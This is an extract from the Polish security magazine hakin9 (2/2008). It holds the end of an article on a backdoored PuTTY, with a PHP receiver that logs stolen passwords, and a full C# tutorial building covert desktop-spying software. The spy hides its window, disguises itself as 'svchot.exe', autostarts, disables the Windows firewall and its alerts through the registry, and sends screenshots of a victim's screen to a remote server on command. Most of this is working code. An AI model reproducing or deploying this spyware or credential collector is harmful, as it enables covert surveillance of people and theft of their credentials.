(uwzględnienie ostatniego po-
lecenia stwarza możliwość pozyska-
nia haseł administratora systemu).
Istnieje również możliwość logowa-
nia całych sesji.
PuTTY nie jest tu oczywiście wy-
jątkiem. Podobna tylna furtka mo-
głaby zostać osadzona w wielu in-
nych programach z zamkniętym ko-
dem – w tym klientach FTP, progra-
mach pocztowych, komunikatorach
internetowych czy przeglądarkach
WWW. A zatem w aplikacjach, które
mogą posiadać lub przesyłać istotne
z punktu widzenia atakującego infor-
macje. Dlatego możemy uznać tego
typu modyfikacje za poważne za-
grożenie, które może zostać wyko-
rzystane jako atak na użytkownika
i jego dane.
Należy tu zaznaczyć, że tak
zmodyfikowany program PuTTY
nie jest uznawany za niebezpiecz-
ny przez oprogramowanie antywiru-
sowe. Przed tego typu atakiem nie
obroni nieświadomego użytkownika
również zapora ogniowa. Jest to
spowodowane tym, iż większość
użytkowników przy pierwszym uru-
chomieniu programu PuTTY naka-
zuje, aby zapora ogniowa przepusz-
czała cały ruch generowany przez
tę aplikację (zamiast zezwolić tylko
i wyłącznie na ruch SSH), uznając ją
za całkowicie godną zaufania. W ta-
kim przypadku połączenie HTTP na-
wiązane przez sniffera w celu prze-
słania haseł nie zostanie zablokowa-
ne przez zaporę.
Niezmiernie ważne jest, aby
użytkownik, uruchamiając program
pobrany z Sieci sprawdzał, czy nie
został on czasem zmodyfikowany
przez osoby trzecie (porównując
sumy kontrolne ściągniętych plików
z podanymi na stronie producenta).
Powinniśmy również unikać urucha-
miania aplikacji dostępnych na kom-
puterach w miejscach publicznych
typu kafejki internetowe czy biblio-
teki. Lepiej przeznaczyć dodatko-
we parę minut na pobranie aplikacji
ze strony producenta niż uruchomić
plik (który każdy mógł podmienić)
bezpośrednio z pulpitu. Powinniśmy
się również wystrzegać pobierania
programów ze stron z oprogramo-
waniem, które pozwalają każdemu
użytkownikowi serwisu na wgranie
dowolnego programu pod dowolną
nazwą. Nigdy nie wiadomo, na co
trafimy. l
W Sieci
• ftp://ftp.chiark.greenend.org.uk/users/sgtatham/putty-0.60/x86/putty.exe – wersja
programu PuTTY, na której bazuje artykuł,
• http://www.secretashell.com/codomain/peid/download.html – program PeiD,
przeznaczony do analizy plików PE,
• http://www.hiew.ru – edytor szesnastkowy Hiew,
• http://www.ollydbg.de/odbg110.zip – debugger OllyDbg,
• http://msdn.microsoft.com/msdnmag/issues/02/02/PE – artykuł opisujący budo-
wę plików PE,
• http://msdn2.microsoft.com/en-us/library/aa385473.aspx – lista funkcji biblioteki
wininet.dll wraz z dokładnymi opisami ich wywołania.
O autorze
Dawid Gołuński jest pasjonatem, badaczem bezpieczeństwa komputerowego, intere-
sującym się informatyką od wielu lat – w szczególności aspektami związanymi z bez-
pieczeństwem, administracją systemami i sieciami, inżynierią odwrotną oraz progra-
mowaniem. Część swojego czasu spędza jako niezależny security researcher.
Kontakt z autorem: golunski@crackpl.com
Listing 5.
putty.php – skrypt odbierający przechwycone dane
<?
php
// Dane zostaja odebrane, zdekodowane oraz zaladowane do odpowiednich
zmiennych
$data
=
$_GET
[
'data'
]
;
parse_str
(
base64_decode
(
$data
)
)
;
// Pobranie biezacej daty i godziny
$cur_date
=
date
(
"d/m/y : H:i:s"
,
time
())
;
$new_entry
=
"-----:[ Sent on
$cur_date
]:-----
\n
"
;
$info
=
"From IP address: "
.
$_SERVER
[
'REMOTE_ADDR'
]
.
"
\n\n
"
;
$auth
=
"Login:
$l
\n
Password:
$p
\n
Hostname:
$h
\n\n\n
"
;
// Zapis przechwyconych danych w pliku pass.log
$log_file
=
fopen
(
"pass.log"
,
"a"
)
;
if
(
$log_file
)
{
fwrite
(
$log_file
,
$new_entry
.
$info
.
$auth
)
;
}
fclose
(
$log_file
)
;
?>
www.hakin9.org
hakin9 Nr 2/2008
30
Atak
T
ym razem nie skorzystamy z mecha-
nizmu haków Windows, lecz stworzy-
my klasyczny projekt typu klient-ser-
wer. Klient będzie uruchamiany na kompute-
rze zdalnym i będzie oczekiwał na komendę
od serwera. Po jej otrzymaniu klient zrobi zrzut
ekranu, po czym dane te prześle do serwera.
W projekcie użyjemy protokołu TCP do przesy-
łania zrzutu ekranu. Za pomocą protokołu UDP
będziemy przesyłać do serwera dane dotyczą-
ce dostępności klientów. Dodatkowo wykorzy-
stamy programowanie wielowątkowe. Aplikację
klienta oraz serwer napiszemy używając dar-
mowego środowiska Visual C# 2005 Express
Edition. Będą to tradycyjne projekty Windows
Forms, choć oczywiście nie stoi nic na prze-
szkodzie, aby użyć projektów Windows Pre-
sentation Fundation. Zakładam, że Czytelnik
posiada podstawową wiedzę z zakresu progra-
mowania w języku C# dla platformy .NET.
Klient
Aplikację klienta napiszemy jako pierwszą.
Będzie ona standardowym projektem typu
Windows Forms, w którym użyjemy klas plat-
formy .NET odpowiedzialnych za programo-
wanie sieciowe. Będzie to aplikacja urucha-
miana na komputerze zdalnym, więc zadbamy
o to, aby była tam jak najmniej widoczna. Pro-
jekt ten można połączyć następnie z projek-
tem serwera w ramach jednego zbioru projek-
tów (Solution).
Podglądanie pulpitu
Sławomir Orłowski
stopień trudności
Używając mechanizmu haków w systemie Windows, możemy
swobodnie przechwytywać poufne dane wprowadzane
z klawiatury (hakin9 1/2008). Pora teraz podpatrzeć,
co użytkownik robi na swoim komputerze.
Z artykułu dowiesz się
• jak z poziomu kodu C# utworzyć połączenie
TCP,
• jak z poziomu kodu C# wysłać dane za pomo-
cą protokołu UDP,
• w jaki sposób używać komponentów klasy
BackgroundWorker,
• jak używać strumieni do programowania siecio-
wego.
Co powinieneś wiedzieć
• podstawowa znajomość języka C# i platformy
.NET,
• jak używać środowiska Visual C# Express Edi-
tion,
• podstawy programowania zorientowanego
obiektowo,
• podstawowa znajomość sieci komputero-
wych.
Podglądanie pulpitu
hakin9 Nr 2/2008
www.hakin9.org
31
Zrzut ekranu
Na początku warto napisać meto-
dę, za pomocą której będziemy mo-
gli wykonywać zrzuty ekranu. Roz-
poczynamy zatem nowy projekt
Windows Forms. Niech nazywa się
Klient. Pozostawimy również do-
myślną nazwę Form1, która repre-
zentuje okno (formę) naszej aplika-
cji. Umieścimy ją wewnątrz klasy
Form1
(Listing 1). Aby mieć wygodny
dostęp do klas i metod umożliwiają-
cych wykonanie zrzutu ekranu, mu-
simy dodać jeszcze przestrzeń nazw
System.Drawing.Imaging
.
Zasadniczym elementem napisa-
nej przez nas metody
makeScreenshot
jest użycie metody
CopyFromScreen
klasy
Graphics
. Wykonuje ona kopię
obrazu ekranu. Jej pięć pierwszych
argumentów określa obszar ekranu,
który będzie skopiowany. Ostatni ar-
gument (
CopyPixelOperation
) określa
sposób kopiowania poszczególnych
pikseli. My wybraliśmy
SourceCopy
,
co oznacza dokładne kopiowanie.
Można jeszcze np. odwrócić kolo-
ry itd. Metoda
FromImage
tworzy no-
wy obiekt klasy
Graphics
z określo-
nego obrazu.
Przesyłanie zrzutu
ekranu
Przesyłanie kopii ekranu można zre-
alizować na kilka sposobów. Najła-
twiej jest wysyłać dane co pewien
odstęp czasu. Można do tego użyć
komponentu
Timer
. Ja jednak chcia-
łem zaproponować rozwiązanie bar-
dziej uniwersalne, choć – ze wzglę-
du na implementację – dosyć nie-
typowe. Niech użytkownik serwera
sam zdecyduje, kiedy chce wykonać
zdalny zrzut ekranu.
W tym celu klient musi oczekiwać
na odpowiednią komendę od serwe-
ra, czyli w aplikacji klienta de facto
musimy uruchomić serwer. Podobnie
jak w przypadku protokołu FTP, my
również użyjemy do obsługi połącze-
nia dwóch portów. Jeden będzie od-
powiedzialny za komendy, a drugi za
przesyłanie danych. Dzięki takiemu
rozwiązaniu komendy będą wysyła-
ne do klienta niezależnie od prze-
syłanych danych. Umożliwi nam to
wstrzymanie bądź zatrzymanie wy-
syłania. W przypadku używania tyl-
ko jednego portu do obu tych opera-
cji nie mielibyśmy takich możliwości.
Serwer musi przechowywać listę ak-
tualnie dostępnych klientów. Wystar-
czy więc, że klient w momencie ini-
cjalizacji prześle informacje o swojej
dostępności. Dla platformy .NET za-
projektowano dwie klasy, które służą
do połączenia TCP. Są to
TCPListener
i
TCPClient
.
Pierwsza spełnia rolę serwe-
ra, a druga klienta. Aby wygodnie
korzystać z klas służących do pro-
gramowania sieciowego, w sekcji
using programu dodajemy trzy prze-
strzenie nazw:
System.Net.Sockets
,
System.Net
i
System.IO
. Do klasy for-
my dodamy jeszcze prywatne pola,
które będą przechowywały dane po-
trzebne do połączenia się z serwe-
rem oraz zrzut ekranu (Listing 2).
Pierwsza zmienna będzie przecho-
wywała port, na jakim będą przesy-
łane komendy.
Druga zmienna zawierać bę-
dzie adres IP serwera. Testowo ad-
res ten ustawiamy na 127.0.0.1, czy-
li adres pętli zwrotnej. Numer portu,
na którym będziemy wymieniać da-
ne z serwerem, przechowany będzie
w zmiennej
serverDataPort
. Zmien-
Listing 1.
Metoda wykonująca zrzut ekranu
private
Bitmap
makeScreenshot
()
{
Bitmap
bmp
=
new
Bitmap
(
Screen
.
PrimaryScreen
.
Bounds
.
Width
,
Scree
n
.
PrimaryScreen
.
Bounds
.
Height
,
PixelFormat
.
Format32bp
pArgb
);
Graphics
screenshot
=
Graphics
.
FromImage
(
bmp
);
screenshot
.
CopyFromScreen
(
Screen
.
PrimaryScreen
.
Bounds
.
X
,
Screen
.
P
rimaryScreen
.
Bounds
.
Y
,
0
,
0
,
Screen
.
PrimaryScreen
.
Boun
ds
.
Size
,
CopyPixelOperation
.
SourceCopy
);
return
bmp
;
}
Listing 2.
Prywatne pola klasy Form1
private
int
serverCommandPort
=
1978
;
private
IPAddress
serverIP
=
IPAddress
.
Parse
(
"127.0.0.1"
);
private
int
serverDataPort
=
25000
;
private
string
localIP
=
null
;
private
Bitmap
image
;
Rysunek 1.
Widok projektu interfejsu graficznego serwera
hakin9 Nr 2/2008
www.hakin9.org
Atak
32
na
localIP
będzie zawierać adres
IP komputera, na którym uruchomio-
ny zostanie klient. Ostatnie zadekla-
rowane przez nas pole będzie prze-
chowywać obraz.
Używając do połączenia TCP klas
TcpListener
i
TcpClient
działamy na
zasadzie blocking socket. Oznacza to,
że wątek, w którym dokonujemy trans-
akcji TCP będzie zablokowany, dopó-
ki transakcja nie zostanie zakończo-
na. Jeśli to będzie główny wątek apli-
kacji, to jej interfejs graficzny będzie
niedostępny w czasie trwania trans-
akcji TCP. Zatem wygodnie jest uży-
wać programowania wielowątkowe-
go – choć w tym przypadku nie jest to
konieczne, ponieważ nasza aplikacja
nie posiada na formie żadnych kontro-
lek. Począwszy od wersji 2.0, platfor-
ma .NET wyposażona jest w wygod-
ny komponent klasy
BackgroundWorker
.
Dzięki niemu możemy w prosty spo-
sób wykonywać podstawowe opera-
cje wielowątkowe, co w naszym przy-
padku w zupełności wystarczy. Przy
skomplikowanym programie wielo-
wątkowym lepiej skorzystać jest z klas
z przestrzeni nazw
System.Threading
.
Do projektu dodajemy komponent
backgroundWorker1
. Tworzymy dla nie-
go metodę zdarzeniową
DoWork
, któ-
ra odpowiada za zadanie, jakie bę-
dzie w tym wątku wykonywane
(Listing 3). Jak wspomniałem we wstę-
pie, klient powinien oczekiwać na ko-
mendę wysłaną przez serwer, wyko-
nać zrzut ekranu i dane te przesłać na
serwer. Niech komendą inicjalizującą
procedurę wykonania zrzutu ekranu
będzie ciąg
##shot##
. Konstruujemy
obiekt klasy
TcpListener
i w konstruk-
torze przekazujemy adres IP kompu-
tera oraz port, na jakim aplikacja bę-
dzie nasłuchiwać. Pod zmienną loca-
lIP podstawimy adres IP w konstrukto-
rze klasy
Form1
(Listing 4).
Za pomocą metody
Start
inicja-
lizujemy nasłuchiwanie. Metoda ta
nie blokuje jeszcze bieżącego wąt-
ku. Wątek blokowany jest dopiero po
użyciu metody
AcceptTcpClient
, któ-
ra oczekuje na połączenie i zwraca
obiekt klasy
TcpClient
. Za jego pomo-
cą będziemy mogli odczytać dane, ja-
kie otrzymaliśmy podczas połączenia.
Operacje sieciowe dotyczące odczy-
tu bądź wysyłania przy połączeniach
TCP to w ogólności operacje na stru-
mieniach. Wystarczy więc umiejętnie
skonstruować strumień i już mamy
możliwość przesyłania danych przez
sieć. Do obsługi strumienia sieciowe-
go służy klasa
NetworkStream
. Używa-
jąc metody
GetStream
klasy
TcpClient
otrzymujemy strumień, który podsta-
wiamy do referencji ns. Dalej za po-
mocą metody
Read
przepisujemy do
bufora typu
byte[]
dane, które odczy-
taliśmy ze strumienia.
Przy użyciu metody
GetString
z klasy
Encoding
zamieniamy
bufor na obiekt typu string. Sprawdza-
my, jaką wartość ma ten obiekt i je-
żeli jest to komenda
##shot##
, wów-
czas wykonujemy zrzut ekranu i za-
pisujemy go do pola image. Aby zaj-
mował on jak najmniej pamięci,
używamy kodowania JPEG. W ko-
lejnym kroku obraz zamieniany jest
na strumień (klasa
MemoryStream
),
a później na tablicę bajtów (metoda
GetBuffer
). Tak przygotowany stru-
Listing 3.
Metoda wywołująca zrzut ekranu, który następnie przesyłany
jest do serwera
private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
{
TcpListener
server
=
new
TcpListener
(
IPAddress
.
Parse
(
localIP
)
,
serverCommandPort
);
serwer
.
Start
();
while
(
true
)
{
TcpClient
clientCommand
=
server
.
AcceptTcpClient
();
NetworkStream
ns
=
clientCommand
.
GetStream
();
Byte
[]
b
=
new
Byte
[
8
];
int
read
=
ns
.
Read
(
b
,
0
,
b
.
Length
);
string
msg
=
Encoding
.
ASCII
.
GetString
(
b
);
if
(
msg
==
"##shot##"
)
{
image
=
makeScreenshot
();
MemoryStream
ms
=
new
MemoryStream
();
image
.
Save
(
ms
,
ImageFormat
.
Jpeg
);
byte
[]
imageByte
=
ms
.
GetBuffer
();
ms
.
Close
();
try
{
TcpClient
client2
=
new
TcpClient
(
serverIP
.
ToString
()
,
serverDataPort
);
NetworkStream
ns2
=
client2
.
GetStream
();
using
(
BinaryWriter
bw
=
new
BinaryWriter
(
ns2
))
{
bw
.
Write
((
int
)
imageByte
.
Length
);
bw
.
Write
(
imageByte
);
}
}
catch
(
Exception
ex
)
{
}
}
}
}
Listing 4.
Konstruktor klasy Form1
public
Form1
()
{
InitializeComponent
();
IPHostEntry
IPs
=
Dns
.
GetHostEntry
(
Dns
.
GetHostName
());
localIP
=
IPs
.
AddressList
[
0
]
.
ToString
();
backgroundWorker1
.
RunWorkerAsync
();
}
Podglądanie pulpitu
hakin9 Nr 2/2008
www.hakin9.org
33
mień możemy przesłać przez sieć uży-
wając klasy
TcpClient
. Do przesyłania
danych binarnych posłużymy się klasą
BinaryWriter. Próba wysłania danych
do serwera powinna być zamknięta
w bloku ochronnym try-catch, co
uchroni program przed zwracaniem
wyjątków do środowiska uruchomie-
niowego, a co za tym idzie – do zde-
maskowania się. Całość zamknięta
jest w nieskończonej pętli
while
.
Musimy jeszcze odczytać adres
IP komputera, na którym działa klient
oraz uruchomić wątek związany
z komponentem
backgroundWorker1
.
Czynności te wykonamy w konstruk-
torze klasy formy (Listing 4).
Wysyłanie informacji
o dostępności klienta
Ważną funkcjonalnością aplikacji
klienckiej powinno być wysyłanie in-
formacji o dostępności klienta. Dzięki
temu serwer będzie miał zawsze ak-
tualną listę klientów, którzy są aktyw-
ni. Użyjemy do tego protokołu UDP.
Niech informacja, jaką będzie wysyłał
klient, ma postać adresIP_klienta:ko-
munikat. Przy starcie klient powinien
wysłać informację, która może wy-
glądać tak:
127.0.0.1:HI
. Przy kończe-
niu pracy powinien wysłać informa-
cję
127.0.0.1:BYE
. Listing 5 przedsta-
wia prostą metodę wysyłającą dane
za pomocą protokołu UDP. Do obsłu-
gi połączenia UDP użyta została klasa
UdpClient
i jej metoda
Send
.
Wystarczy ją podczepić do zda-
rzenia
Load
oraz
FormClosing
(Li-
sting 6).
Przypatrzmy się jeszcze przez
chwilę sposobowi działania klien-
ta. Aplikacja ta będzie uruchamiana
na komputerze zdalnym (w domyśle
ofiary). Musimy więc zadbać o to, aby
była jak najtrudniejsza do odkrycia.
Na początek ukrywamy okno apli-
kacji. Można to zrobić poprzez wła-
sności
ShowIcon
oraz
ShowInTaskbar
,
które ustawiamy na
false
. Własność
WindowState
ustawiamy na
Minimized
.
W zasadzie moglibyśmy napisać rów-
nież aplikację konsolową, która nie
posiadałaby okna. Wybrałem jed-
nak aplikację Windows Forms, ponie-
waż chciałem, aby program mógł być
później dowolnie modyfikowany – np.
poprzez dodawanie nowych kontro-
lek do formy. Program ten powinien
również uruchamiać się w momencie
startu systemu.
Metoda dodająca odpowiedni wpis
do rejestru systemowego, który za-
pewni automatyczne uruchamianie
aplikacji, została już zaprezentowana
w artykule C#.NET. Podsłuchiwanie
klawiatury, hakin9 1/2008. Sam proces
można w prosty sposób ukryć poprzez
nazwanie programu np. svchot.exe.
Program można również spróbować
uruchomić w trybie usługi.
Pozostaje jeszcze jedna, ważna
kwestia: reakcja firewalla zainstalo-
wanego w systemie na próbę stworze-
nia serwera, a co za tym idzie otwarcia
portu i nasłuchiwania na nim. Ponie-
waż jest to bardzo szeroki temat, do-
bry na osobny artykuł, skupimy się je-
dynie na firewallu systemowym, który
jest używany przez bardzo wielu użyt-
kowników. Aby go wyłączyć wystar-
czy zmienić wartość
EnableFirewall
znajdującą się w kluczu o nazwie
H K E Y _ L O C A L _ M A C H I N E \ S YST E M \
ControlSet001\Services\SharedAccess\
P a r a m e t e r s \ F i r e w a l l P o l i c y \
StandardProfile
z
dword:00000001
na
dword:00000000
. Centrum Zabezpie-
czeń, które obecne jest od premiery
poprawki SP2, może wyświetlać mo-
nity o wyłączeniu firewalla. Aby za-
mknąć mu usta, wystarczy zmienić
wartość
FirewallDisableNotify
, która
znajduje się w kluczu
HKEY _ LOCAL _
MACHINE\SOFTWARE\Microsoft\Security
Listing 5.
Wysyłanie danych za pomocą protokołu UDP
private
void
SendMessageUDP
(
string
msg
)
{
UdpClient
client
=
new
UdpClient
(
serverIP
.
ToString
()
,
43210
);
byte
[]
b
=
Encoding
.
ASCII
.
GetBytes
(
msg
);
client
.
Send
(
b
,
b
.
Length
);
client
.
Close
();
}
Listing 6.
Metody zdarzeniowe Load oraz FormClosing
private
void
Form1_Load
(
object
sender
,
EventArgs
e
)
{
SendMessageUDP
(
localIP
+
":HI"
);
}
private
void
Form1_FormClosing
(
object
sender
,
FormClosingEventArgs
e
)
{
SendMessageUDP
(
localIP
+
":BYE"
);
}
Listing 7.
Wyłączenie systemowego firewalla
private
void
firewallDisable
()
{
const
string
keyname1
=
"SYSTEM
\\
ControlSet001
\\
Services
\
\
SharedAccess
\\
Parameters
\\
FirewallPolicy
\\
StandardProfile"
;
const
string
keyname2
=
"SOFTWARE
\\
Microsoft
\\
Security Center"
;
try
{
Microsoft
.
Win32
.
RegistryKey
rg1
=
Microsoft
.
Win32
.
Registry
.
L
ocalMachine
.
OpenSubKey
(
keyname1
,
true
);
rg1
.
SetValue
(
"EnableFirewall"
,
0
);
rg1
.
Close
();
Microsoft
.
Win32
.
RegistryKey
rg2
=
Microsoft
.
Win32
.
Registry
.
L
ocalMachine
.
OpenSubKey
(
keyname2
,
true
);
rg2
.
SetValue
(
"FirewallDisableNotify"
,
1
);
rg2
.
Close
();
}
catch
{}
}
hakin9 Nr 2/2008
www.hakin9.org
Atak
34
Center
. Odpowiedni kod realizujący
te zadania przedstawiony został na
Listingu 7. Jego wywołanie najlepiej
umieścić w konstruktorze klasy
Form1
lub w metodzie zdarzeniowej dla zda-
rzenia
Load
formy. Sam sposób prze-
prowadzania operacji na rejestrze zo-
stał również opisany w cytowanym po-
wyżej artykule.
Próba modyfikacji rejestru nie
uda się, jeśli nie mamy odpowiednich
praw. Jednak ilu jest użytkowników
systemu Windows, którzy na co dzień
korzystają z konta o prawach admini-
stratora? Można również zmienić ten
program tak, aby udawał jakąś inną
aplikację. W ten sposób użytkownik
może zignorować ewentualne moni-
ty pochodzące od firewalla i pozwolić
na komunikację sieciową. Programy
antywirusowe nie powinny zgłaszać
zagrożenia podczas działania klien-
ta (jak i w trakcie skanowania jego pli-
ku wykonywalnego), ponieważ jest to
standardowa aplikacja.
Pora stworzyć serwer
Rozpoczynamy kolejny projekt Win-
dows Forms, który będzie serwe-
rem dla napisanego przed chwi-
lą klienta. Na początek zbuduje-
my interfejs graficzny użytkownika.
W tym celu do projektu dodajemy kon-
trolkę
pictureBox1
, na której będzie-
my wyświetlać pobrany zrzut ekranu.
Na formę wrzucamy również kontro-
lkę
listBox1
, przeznaczoną do prze-
chowywania listy wszystkich aktyw-
nych klientów. Dodajemy jeszcze pole
edycyjne
textBox1
, które będzie prze-
chowywać adres IP serwera oraz po-
le
numericUpDown1
, które posłuży do
wyboru portu. Na koniec dodajemy
przycisk
button1
– będzie on inicjo-
wał zdalny zrzut ekranu. Nasz ser-
wer, podobnie jak klient, będzie ob-
sługiwał połączenia w osobnych wąt-
kach. Dzięki temu interfejs użytkow-
nika będzie stale dostępny. Założyli-
śmy sobie na początku, że informa-
cje o aktywnych klientach przesyłać
będziemy przy użyciu protokołu UDP.
Oczekiwanie na zgłoszenia od klien-
tów zrealizujemy w osobnym wątku.
Do jego obsługi dodajemy kompo-
nent
backgroundWorker1
. Zanim opro-
gramujemy jego metodę
DoWork
, musi-
Listing 8.
Bezpieczne odwoływanie się do kontrolek formy z poziomu
innego wątku
delegate
void
SetTextCallBack
(
string
tekst
);
private
void
SetText
(
string
tekst
)
{
if
(
listBox1
.
InvokeRequired
)
{
SetTextCallBack
f
=
new
SetTextCallBack
(
SetText
);
this
.
Invoke
(
f
,
new
object
[]
{
tekst
}
);
}
else
{
this
.
listBox1
.
Items
.
Add
(
tekst
);
}
}
delegate
void
RemoveTextCallBack
(
int
pozycja
);
private
void
RemoveText
(
int
pozycja
)
{
if
(
listBox1
.
InvokeRequired
)
{
RemoveTextCallBack
f
=
new
RemoveTextCallBack
(
RemoveText
);
this
.
Invoke
(
f
,
new
object
[]
{
pozycja
}
);
}
else
{
listBox1
.
Items
.
RemoveAt
(
pozycja
);
}
}
Listing 9.
Metoda konstruująca listę aktywnych klientów
private
void
backgroundWorker1_DoWork
(
object
sender
,
DoWorkEventArgs
e
)
{
IPEndPoint
hostIP
=
new
IPEndPoint
(
IPAddress
.
Any
,
0
);
UdpClient
client
=
new
UdpClient
(
43210
);
while
(
true
)
{
Byte
[]
b
=
client
.
Receive
(
ref
hostIP
);
string
data
=
Encoding
.
ASCII
.
GetString
(
b
);
string
[]
cmd
=
data
.
Split
(
new
char
[]
{
':'
}
);
if
(
cmd
[
1
]
==
"HI"
)
{
foreach
(
string
s
in
listBox1
.
Items
)
if
(
s
==
cmd
[
0
])
{
MessageBox
.
Show
(
"Próba nawiązania połączenia z "
+
cmd
[
0
]
+
" odrzucona ponieważ na liście istnieje już
taki wpis"
);
return
;
}
this
.
SetText
(
cmd
[
0
]);
}
if
(
cmd
[
1
]
==
"BYE"
)
{
for
(
int
i
=
0
;
i
<
listBox1
.
Items
.
Count
;
i
++)
if
(
listBox1
.
Items
[
i
]
.
ToString
()
==
cmd
[
0
])
this
.
RemoveText
(
i
);
}
}
}
Podglądanie pulpitu
hakin9 Nr 2/2008
35
my jeszcze stworzyć dwie metody po-
mocnicze, za pomocą których będzie-
my odwoływać się do kontrolek formy
z poziomu innego wątku.
Odwoływanie się
do kontrolek formy
Wątek związany z komponentem
backgroundWorker1
będzie potrzebo-
wał dostępu do kontrolek znajdują-
cych się na formie serwera, które zo-
stały stworzone w wątku głównym
aplikacji. Bezpośrednia próba odwo-
łania się do tych kontrolek z poziomu
innego wątku może zakończyć się
dla naszej aplikacji błędem, ponie-
waż do tej samej kontrolki może jed-
nocześnie odwoływać się inny wą-
tek (np. główny). Musimy więc stwo-
rzyć mechanizm, który umożliwi nam
zmianę wpisów w kontrolce
listBox1
.
Skorzystamy z mechanizmu delega-
cji oraz metody
Invoke
, która wykona
skonstruowaną przez nas delegację
w wątku, w którym kontrolki zosta-
ły utworzone. Potrzebujemy metody
dodającej wpis do listy
ListBox1
oraz
metody usuwającej wpis z tej listy.
Na Listingu 8 zamieszczony został
kod metod
SetText
oraz
RemoveText
,
które służą właśnie do tych celów.
Lista aktywnych
klientów
Po utworzeniu metod umożliwiają-
cych bezpieczne odwoływanie się
do kontrolek znajdujących się na for-
mie z poziomu innego wątku, może-
my przystąpić do konstruowania listy
aktywnych klientów. Przypominam,
że klient w momencie uruchomie-
nia oraz wyłączenia wysyła komuni-
kat UDP do serwera o treści
adresIP:
komunikat
. Po stronie serwera musimy
ten komunikat odczytać i dodać odpo-
wiedni wpis do kontrolki
listBox1
(lub
usunąć go z niej). Niech serwer na-
słuchuje na porcie 43210. Dla kom-
ponentu
backgroundWorker1
tworzy-
my metodę
DoWork
(Listing 9). Do kon-
struktora klasy
UdpClient
przekazuje-
my numer portu i za pomocą metody
Receive
odczytujemy dane, jakie wy-
słał nam klient. Metoda ta jako para-
metr przyjmuje referencję adresu IP
hosta wysyłającego dane, zwraca na-
tomiast dane w postaci tablicy danych
hakin9 Nr 2/2008
www.hakin9.org
Atak
36
typu byte. Metoda Split klasy String
umożliwia rozdzielenie ciągu znaków
ze względu na konkretny znak sepa-
ratora – w naszym przypadku jest
to dwukropek. Jeżeli po adresie IP
w otrzymanym komunikacje odczy-
tamy ciąg HI, wówczas dopisujemy
do listy
listBox1
adres IP klienta. Je-
żeli treścią komunikatu będzie
BYE
,
to usuwamy ten adres z listy.
Pobieranie
zrzutu ekranu
Pobieranie zrzutu ekranu zrealizu-
jemy w osobnym wątku. W tym ce-
lu do projektu dodajemy komponent
backgroundWorker2
, który będzie odpo-
wiedzialny za oczekiwanie na nadcho-
dzący od klienta zrzut oraz jego pobra-
nie. Na początek tworzymy metodę
zdarzeniową
Click
kontrolki
button1
.
Będzie ona odczytywała adres IP
klienta, który zaznaczony jest na liście
listBox1
, wysyłała komendę
##shot##
oraz uruchamiała wątek związany
z komponentem
backgroundWorker2
(Listing 10). Tradycyjnie do przesła-
nia komendy do klienta użyjemy klasy
TcpClient
oraz strumienia sieciowe-
go. Dodatkowy wątek może być uru-
chomiony jedynie wtedy, kiedy nie jest
już zajęty odbieraniem innego zrzutu
ekranu. Możemy to sprawdzić za po-
mocą własności
IsBusy
. W kolejnym
kroku tworzymy metodę zdarzenio-
wą DoWork dla komponentu backgro-
undWorker2. Tworzymy tam egzem-
plarz klasy
TcpListener
, który ocze-
kuje na zrzut ekranu. Podobnie, jak
w przypadku klienta (Listing 3), musimy
wykonać kilka standardowych kroków.
Po pierwsze, do konstruktora kla-
sy przekazujemy adres IP oraz nu-
mer portu, na jakim ma działać
uruchomiony serwer (np. 1978).
Następnie
wywołujemy
metodę
Start
w celu inicjalizacji serwera.
W kolejnym kroku używamy metody
AcceptTcpClient
, która zwraca nam
obiekt klasy
TcpClient
. Posłuży nam
on następnie do stworzenia strumie-
nia sieciowego, z którego możemy
odczytać już dane. Otrzymany obraz
wrzucamy do kontrolki
pictureBox1
.
W ten sposób serwer został stworzony
i uruchomiony. Można go oczywiście
rozszerzyć o kolejne funkcje, takie jak
zapisywanie zrzutów ekranu do pliku
itd. Pozostawiam to Czytelnikowi.
Podsumowanie
W powyższym artykule starałem się
przekazać jak najwięcej podstaw do-
tyczących programowania sieciowego
na platformie .NET przy użyciu proto-
kołów TCP i UDP. Dane, które przesy-
ła się przez sieć, bez względu na ich
źródło zamieniamy na tablicę bajtów
i za pomocą strumieni sieciowych od-
czytujemy bądź zapisujemy. Projekty
stworzone w tym artykule mogą sta-
nowić podstawę dla bardziej rozbudo-
wanych aplikacji. l
O autorze
Sławomir Orłowski – doktorant na Wydziale Fizyki, Astronomii i Informatyki Stosowa-
nej UMK w Toruniu. Zajmuje się dynamiką molekularną oraz bioinformatyką. Ma do-
świadczenie w programowaniu w językach C++, Delphi, Fortran, Java i Tcl. Strona do-
mowa: http://www.fizyka.umk.pl/~bigman. Kontakt z autorem: bigman@fizyka.umk.pl
Listing 10.
Pobieranie zrzutu ekranu w osobnym wątku
private
void
button1_Click
(
object
sender
,
EventArgs
e
)
{
if
(
listBox1
.
SelectedIndex
==
-
1
)
return
;
try
{
TcpClient
client
=
new
TcpClient
(
listBox1
.
Items
[
listBox1
.
Sel
ectedIndex
]
.
ToString
()
,
1978
);
NetworkStream
ns
=
client
.
GetStream
();
byte
[]
b
=
new
byte
[
8
];
b
=
Encoding
.
ASCII
.
GetBytes
(
"##shot##"
);
ns
.
Write
(
b
,
0
,
b
.
Length
);
if
(
backgroundWorker2
.
IsBusy
==
false
)
backgroundWorker2
.
RunWorkerAsync
();
else
MessageBox
.
Show
(
"Nie można teraz zrealizować zrzutu
ekranu"
);
}
catch
{
MessageBox
.
Show
(
"Błąd: Nie można nawiązać połączenia"
);
}
}
private
void
backgroundWorker2_DoWork
(
object
sender
,
DoWorkEventArgs
e
)
{
TcpListener
server2
=
new
TcpListener
(
IPAddress
.
Parse
(
textBox1
.
T
ext
)
,
(
int
)
numericUpDown1
.
Value
);
server2
.
Start
();
TcpClient
client2
=
server2
.
AcceptTcpClient
();
NetworkStream
ns
=
client2
.
GetStream
();
byte
[]
imageByte
;
using
(
BinaryReader
br
=
new
BinaryReader
(
ns
))
{
int
imageSize
=
br
.
ReadInt32
();
imageByte
=
br
.
ReadBytes
(
imageSize
);
}
using
(
MemoryStream
ms
=
new
MemoryStream
(
imageByte
))
{
Image
img
=
Image
.
FromStream
(
ms
);
pictureBox1
.
Image
=
img
;
}
server2
.
Stop
();
}
www.hakin9.org
hakin9 Nr 2/2008
38
Atak
W
plikach wykonywalnych znajdują
się instrukcje dla procesora, dane
(np. wartości tablic) i zasoby. Zaso-
bami mogą być następujące rzeczy:
• bitmapy (np. logo programu),
• ikony (prawie każdy plik wykonywalny po-
siada swoją ikonę; program może posiadać
kilka ikon),
